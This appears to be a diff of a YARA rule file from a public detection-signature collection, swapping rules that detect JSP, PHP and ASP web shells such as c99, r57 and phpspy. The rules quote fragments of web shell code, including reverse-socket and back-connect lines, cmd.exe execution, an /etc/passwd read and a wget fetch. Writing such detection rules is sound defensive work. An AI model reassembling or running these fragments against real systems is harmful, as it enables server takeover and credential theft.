+		hash1 = "ea87f0c1f0535610becadf5a98aca2fc"
+		hash2 = "7d5e9732766cf5b8edca9b7ae2b6028f"
 
 	strings:
-		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
-		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
-		$s2 = "td.Text=\"<a href=\\\"javascript:Bin_PostBack('urJG','\"+dt.Rows[j][\"ProcessID" ascii
-		$s3 = "vyX.Text+=\"<a href=\\\"javascript:Bin_PostBack('Bin_Regread','\"+MVVJ(rootkey)+" ascii
+		$s0 = "osw = new BufferedWriter(new OutputStreamWriter(os));" fullword
+		$s7 = "sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());" fullword
+		$s9 = "isr = new BufferedReader(new InputStreamReader(is));" fullword
 
 	condition:
-		filesize <353KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Su7_X_9_X : FILE
+rule SIGNATURE_BASE_Webshell_400_In_Jfolder_Jfolder01_Jsp_Leo_Warn_Webshell_Nc
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file su7.x-9.x.asp"
+		description = "Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5d546ce8-6f8f-5b0b-9472-23f283ef9f80"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L548-L563"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "808396b51023cc8356f8049cfe279b349ca08f1a"
-		logic_hash = "2d2398cf0f9e253eea343d39b6555f2633f92f627f1c93cc28123d5a7f3d1bf1"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2648-L2672"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "74e31e51f2cb46a042e8591ffb44fe68fb591d202c8171c6afb556eddb381f6f"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "36331f2c81bad763528d0ae00edf55be"
+		hash1 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash2 = "8979594423b68489024447474d113894"
+		hash3 = "ec482fc969d182e5440521c913bab9bd"
+		hash4 = "f98d2b33cd777e160d1489afed96de39"
+		hash5 = "4b4c12b3002fad88ca6346a873855209"
+		hash6 = "e9a5280f77537e23da2545306f6a19ad"
+		hash7 = "598eef7544935cf2139d1eada4375bb5"
 
 	strings:
-		$s0 = "returns=httpopen(\"LoginID=\"&user&\"&FullName=&Password=\"&pass&\"&ComboPasswor" ascii
-		$s1 = "returns=httpopen(\"\",\"POST\",\"http://127.0.0.1:\"&port&\"/Admin/XML/User.xml?" ascii
+		$s0 = "sbFolder.append(\"<tr><td >&nbsp;</td><td>\");" fullword
+		$s1 = "return filesize / intDivisor + \".\" + strAfterComma + \" \" + strUnit;" fullword
+		$s5 = "FileInfo fi = (FileInfo) ht.get(\"cqqUploadFile\");" fullword
+		$s6 = "<input type=\"hidden\" name=\"cmd\" value=\"<%=strCmd%>\">" fullword
 
 	condition:
-		filesize <59KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Cfmshell : FILE
+rule SIGNATURE_BASE_Webshell_2_520_Job_Jspwebshell_1_2_Ma1_Ma4_2
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file cfmShell.cfm"
+		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, JspWebshell 1.2.jsp, ma1.jsp, ma4.jsp, 2.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "40d50ddb-2963-5d8e-b93a-bb44a8944229"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L565-L580"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "740796909b5d011128b6c54954788d14faea9117"
-		logic_hash = "0767012ec8fd4a18a64eca04d459efb55fafd29ed052dab8a0eb1b8f4ce7aa66"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2673-L2695"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49614b2a42210fa134f85fa52c66e12809f2bb9eaf56c17b69d21e5fbfc8888b"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "56c005690da2558690c4aa305a31ad37"
+		hash3 = "70a0ee2624e5bbe5525ccadc467519f6"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
 
 	strings:
-		$s0 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii
-		$s4 = "<cfif FileExists(\"#GetTempDirectory()#foobar.txt\") is \"Yes\">" fullword ascii
+		$s1 = "while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {" fullword
+		$s6 = "password = (String)session.getAttribute(\"password\");" fullword
+		$s7 = "insReader = new InputStreamReader(proc.getInputStream(), Charset.forName(\"GB231"
 
 	condition:
-		filesize <4KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp4 : FILE
+rule SIGNATURE_BASE_Webshell_Shell_2008_2009Mssql_Phpspy_2005_Full_Phpspy_2006_Arabicspy_Hkrkoz
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file asp4.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4125bb40-3f5c-53f5-b906-54fa77b119f5"
-		date = "2015-06-23"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L582-L598"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4005b83ced1c032dc657283341617c410bc007b8"
-		logic_hash = "ae02d1efc975a8592a00cbab823355fb778fbb589f5752dd913aa432b316c3a4"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2696-L2720"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "140af92ab61059649a872bef96b916f2c402fd9891301d4a1ba1f389a45af003"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
+		hash3 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash4 = "40a1f840111996ff7200d18968e42cfe"
+		hash5 = "e0202adff532b28ef1ba206cf95962f2"
+		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
 
 	strings:
-		$s2 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
-		$s6 = "Response.Cookies(Cookie_Login) = sPwd" fullword ascii
-		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
+		$s0 = "$tabledump .= \"'\".mysql_escape_string($row[$fieldcounter]).\"'\";" fullword
+		$s5 = "while(list($kname, $columns) = @each($index)) {" fullword
+		$s6 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\";" fullword
+		$s9 = "$tabledump .= \"   PRIMARY KEY ($colnames)\";" fullword
+		$fn = "filename: backup"
 
 	condition:
-		filesize <150KB and all of them
+		2 of ($s*) and not $fn
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_2_Admin_By_Lake2 : FILE
+rule SIGNATURE_BASE_Webshell_Gfs_Sh_R57Shell_R57Shell127_Sniper_SA_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file Serv-U 2 admin by lake2.asp"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8fce8835-a4ed-58df-a725-0c1fc04becaa"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L600-L617"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cb8039f213e611ab2687edd23e63956c55f30578"
-		logic_hash = "a67c08b3a4bed2385d2fa8c007615bfb37a2d739cc13ee2e0f5eda00536b6ea8"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2721-L2746"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "24d93f9ae5e174873a32abdf8dca6c00f03cbb4c5e2ad531ac7fa34f8fc90794"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "a2516ac6ee41a7cf931cbaef1134a9e4"
+		hash1 = "ef43fef943e9df90ddb6257950b3538f"
+		hash2 = "ae025c886fbe7f9ed159f49593674832"
+		hash3 = "911195a9b7c010f61b66439d9048f400"
+		hash4 = "697dae78c040150daff7db751fc0c03c"
+		hash5 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash6 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash7 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash8 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash9 = "41af6fd253648885c7ad2ed524e0692d"
+		hash10 = "6fcc283470465eed4870bcc3e2d7f14d"
 
 	strings:
-		$s1 = "xPost3.Open \"POST\", \"http://127.0.0.1:\"& port &\"/lake2\", True" fullword ascii
-		$s2 = "response.write \"FTP user lake  pass admin123 :)<br><BR>\"" fullword ascii
-		$s8 = "<p>Serv-U Local Get SYSTEM Shell with ASP" fullword ascii
-		$s9 = "\"-HomeDir=c:\\\\\" & vbcrlf & \"-LoginMesFile=\" & vbcrlf & \"-Disable=0\" & vb" ascii
+		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
+		$s11 = "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KIC"
 
 	condition:
-		filesize <17KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php3 : FILE
+rule SIGNATURE_BASE_Webshell_Itsec_Phpjackal_Itsecteam_Shell_Jhn
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php3.txt"
+		description = "Web Shell - from files itsec.php, PHPJackal.php, itsecteam_shell.php, jHn.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3000ac40-35de-5d24-85fb-4d105b07c2e7"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L619-L634"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e2924cb0537f4cdfd6f1bd44caaaf68a73419b9d"
-		logic_hash = "ba3892feacbbe3d7c6b6308a22ca22b19ae84b6490df2c976852260da2a96ca1"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2747-L2766"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c97731c28f59a6fbab2b7882fae171da8d71add73ec92ab6093dec57fcd7207"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
+		hash1 = "e2830d3286001d1455479849aacbbb38"
+		hash2 = "bd6d3b2763c705a01cc2b3f105a25fa4"
+		hash3 = "40c6ecf77253e805ace85f119fe1cebb"
 
 	strings:
-		$s1 = "} elseif(@is_resource($f = @popen($cfe,\"r\"))) {" fullword ascii
-		$s2 = "cf('/tmp/.bc',$back_connect);" fullword ascii
+		$s0 = "$link=pg_connect(\"host=$host dbname=$db user=$user password=$pass\");" fullword
+		$s6 = "while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|"
+		$s9 = "while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+"
 
 	condition:
-		filesize <8KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_By_Goldsun : FILE
+rule SIGNATURE_BASE_Webshell_Shell_Ci_Biz_Was_Here_C100_V_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file Serv-U_by_Goldsun.asp"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d8b85c33-b05d-531a-9c0a-a1dddcae0da4"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L636-L653"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
-		logic_hash = "962b2e75c03f716fc039cf26aa238e9a3faf5a7ea8fb3d4da556fa601790055a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2767-L2787"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a7841dec442877648a589045849f7f1b80316a30dda5a44ccc4bb626dbd2cdea"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "f2fa878de03732fbf5c86d656467ff50"
+		hash1 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
 
 	strings:
-		$s1 = "b.open \"GET\", \"http://127.0.0.1:\" & ftpport & \"/goldsun/upadmin/s2\", True," ascii
-		$s2 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii
-		$s3 = "127.0.0.1:<%=port%>," fullword ascii
-		$s4 = "GName=\"http://\" & request.servervariables(\"server_name\")&\":\"&request.serve" ascii
+		$s2 = "if ($data{0} == \"\\x99\" and $data{1} == \"\\x01\") {return \"Error: \".$stri"
+		$s3 = "<OPTION VALUE=\"find /etc/ -type f -perm -o+w 2> /dev/null\""
+		$s4 = "<OPTION VALUE=\"cat /proc/version /proc/cpuinfo\">CPUINFO" fullword
+		$s7 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/de"
+		$s9 = "<OPTION VALUE=\"cut -d: -f1,2,3 /etc/passwd | grep ::\">USER"
 
 	condition:
-		filesize <30KB and 2 of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php10 : FILE
+rule SIGNATURE_BASE_Webshell_NIX_REMOTE_WEB_SHELL_NIX_REMOTE_WEB_Xxx1
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php10.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5fe78cc6-8be3-595f-a082-e361259938e5"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L655-L670"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3698c566a0ae07234c8957112cdb34b79362b494"
-		logic_hash = "76bb2dfd518173f031cc3c93b2098edaef4aca09f0dd8228223257b0b7df452b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2788-L2807"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "95d25e9dc75a9af91e23b8c53acb384616f5d8a78605200bdb94f016a7f160f6"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
+		hash1 = "f3ca29b7999643507081caab926e2e74"
+		hash2 = "527cf81f9272919bf872007e21c4bdda"
 
 	strings:
-		$s1 = "dumpTable($N,$M,$Hc=false){if($_POST[\"format\"]!=\"sql\"){echo\"\\xef\\xbb\\xbf" ascii
-		$s2 = "';if(DB==\"\"||!$od){echo\"<a href='\".h(ME).\"sql='\".bold(isset($_GET[\"sql\"]" ascii
+		$s1 = "<td><input size=\"48\" value=\"$docr/\" name=\"path\" type=\"text\"><input type="
+		$s2 = "$uploadfile = $_POST['path'].$_FILES['file']['name'];" fullword
+		$s6 = "elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}" fullword
+		$s7 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}" fullword
 
 	condition:
-		filesize <600KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_Servu : FILE
+rule SIGNATURE_BASE_Webshell_C99_C99Shell_C99_W4Cking_Shell_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file servu.php"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3e50d991-7297-5766-b68a-e74aa34ce042"
-		date = "2015-06-23"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L671-L686"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7de701b86820096e486e64ca34f1fa9f2fbba641"
-		logic_hash = "d3956b6daa0649233372aea4176e0d43c44d866146884222f92b7efe01f288bb"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2808-L2836"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "731bbf06208d20874c1d8464472e6a66a2e9b0bc2dc0475783763b99eb70fefa"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
+		hash2 = "9c34adbc8fd8d908cbb341734830f971"
+		hash3 = "f2fa878de03732fbf5c86d656467ff50"
+		hash4 = "b8f261a3cdf23398d573aaf55eaf63b5"
+		hash5 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash6 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash7 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash8 = "157b4ac3c7ba3a36e546e81e9279eab5"
+		hash9 = "048ccc01b873b40d57ce25a4c56ea717"
 
 	strings:
-		$s0 = "fputs ($conn_id, \"SITE EXEC \".$dir.\"cmd.exe /c \".$cmd.\"\\r\\n\");" fullword ascii
-		$s1 = "function ftpcmd($ftpport,$user,$password,$dir,$cmd){" fullword ascii
+		$s0 = "echo \"<b>HEXDUMP:</b><nobr>"
+		$s4 = "if ($filestealth) {$stat = stat($d.$f);}" fullword
+		$s5 = "while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo \"<tr><td>\".$r"
+		$s6 = "if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB "
+		$s8 = "echo \"<center><b>Server-status variables:</b><br><br>\";" fullword
+		$s9 = "echo \"<textarea cols=80 rows=10>\".htmlspecialchars($encoded).\"</textarea>"
 
 	condition:
-		filesize <41KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Portrecall_Jsp2 : FILE
+rule SIGNATURE_BASE_Webshell_2008_2009Mssql_Phpspy_2005_Full_Phpspy_2006_Arabicspy_Hkrkoz
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file jsp2.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cd34cb47-c5e0-5094-a501-6a8a00d94018"
-		date = "2015-06-23"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L688-L704"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "412ed15eb0d24298ba41731502018800ffc24bfc"
-		logic_hash = "1ec77a1b0d30cdebce1b5b07445247016230b733a594d8d1de642c2c8af63031"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2837-L2859"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d78db4d45a35d6a78d4288e00a382a0937e3806f0570bd353b88955664a47f6"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash1 = "aa17b71bb93c6789911bd1c9df834ff9"
+		hash2 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash3 = "40a1f840111996ff7200d18968e42cfe"
+		hash4 = "e0202adff532b28ef1ba206cf95962f2"
+		hash5 = "802f5cae46d394b297482fd0c27cb2fc"
 
 	strings:
-		$s0 = "final String remoteIP =request.getParameter(\"remoteIP\");" fullword ascii
-		$s4 = "final String localIP = request.getParameter(\"localIP\");" fullword ascii
-		$s20 = "final String localPort = \"3390\";//request.getParameter(\"localPort\");" fullword ascii
+		$s0 = "$this -> addFile($content, $filename);" fullword
+		$s3 = "function addFile($data, $name, $time = 0) {" fullword
+		$s8 = "function unix2DosTime($unixtime = 0) {" fullword
+		$s9 = "foreach($filelist as $filename){" fullword
 
 	condition:
-		filesize <23KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Aspx2 : FILE
+rule SIGNATURE_BASE_Webshell_C99_C66_C99_Shadows_Mod_C99Shell
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file aspx2.txt"
+		description = "Web Shell - from files c99.php, c66.php, c99-shadows-mod.php, c99shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0da59fde-2214-5677-943f-05b8da4fd9d4"
-		date = "2015-06-23"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L706-L723"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "95db7a60f4a9245ffd04c4d9724c2745da55e9fd"
-		logic_hash = "7af90992bc3f708d877dcd5841c0d132793e41a0796607907084516d955b3ae0"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2860-L2882"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b50a6124f25bbb6fcc9d16d1de26d833a4b968db8e8033e76f3a74695577017e"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
 
 	strings:
-		$s0 = "if (password.Equals(this.txtPass.Text))" fullword ascii
-		$s1 = "<head runat=\"server\">" fullword ascii
-		$s2 = ":<asp:TextBox runat=\"server\" ID=\"txtPass\" Width=\"400px\"></asp:TextBox>" fullword ascii
-		$s3 = "this.lblthispath.Text = Server.MapPath(Request.ServerVariables[\"PATH_INFO\"]);" fullword ascii
+		$s2 = "  if (unlink(_FILE_)) {@ob_clean(); echo \"Thanks for using c99shell v.\".$shv"
+		$s3 = "  \"c99sh_backconn.pl\"=>array(\"Using PERL\",\"perl %path %host %port\")," fullword
+		$s4 = "<br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#66"
+		$s7 = "   elseif (!$data = c99getsource($bind[\"src\"])) {echo \"Can't download sources"
+		$s8 = "  \"c99sh_datapipe.pl\"=>array(\"Using PERL\",\"perl %path %localport %remotehos"
+		$s9 = "   elseif (!$data = c99getsource($bc[\"src\"])) {echo \"Can't download sources!"
 
 	condition:
-		uint16(0)==0x253c and filesize <9KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Hy2006A : FILE
+rule SIGNATURE_BASE_Webshell_He1P_Jspspy_Nogfw_Ok_Style_1_Jspspy1
 {
 	meta:
